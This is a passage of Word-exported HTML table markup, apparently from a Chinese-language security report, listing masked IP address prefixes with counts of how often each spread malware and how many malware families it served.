style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">106.13.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">7,543<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">4<o:p></o:p></span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:251.65pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"top\" style=\"width:95.75pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">地址</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;\n mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"top\" style=\"width:63.8pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">传播次数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"top\" style=\"width:92.1pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件家族</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"bottom\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">47.103.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"bottom\" style=\"width:63.8pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">1,246<o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.1pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">12<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"bottom\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">82.156</span><span lang=\"EN-US\">*.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"bottom\" style=\"width:63.8pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">194<o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.1pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">12<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"bottom\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">39.99.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"bottom\" style=\"width:63.8pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">160<o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.1pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">12<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"bottom\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">82.157.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"bottom\" style=\"width:63.8pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">703<o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.1pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">12<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"bottom\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">1.15.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"bottom\" style=\"width:63.8pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">544<o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.1pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">11<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"bottom\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">1.13.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"bottom\" style=\"width:63.8pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">105<o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.1pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">11<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">35.225. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">756</span></p>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">10</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">52.131. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">2,946</span></p>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">10</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" valign=\"bottom\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">81.70.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"bottom\" style=\"width:63.8pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">764<o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.1pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 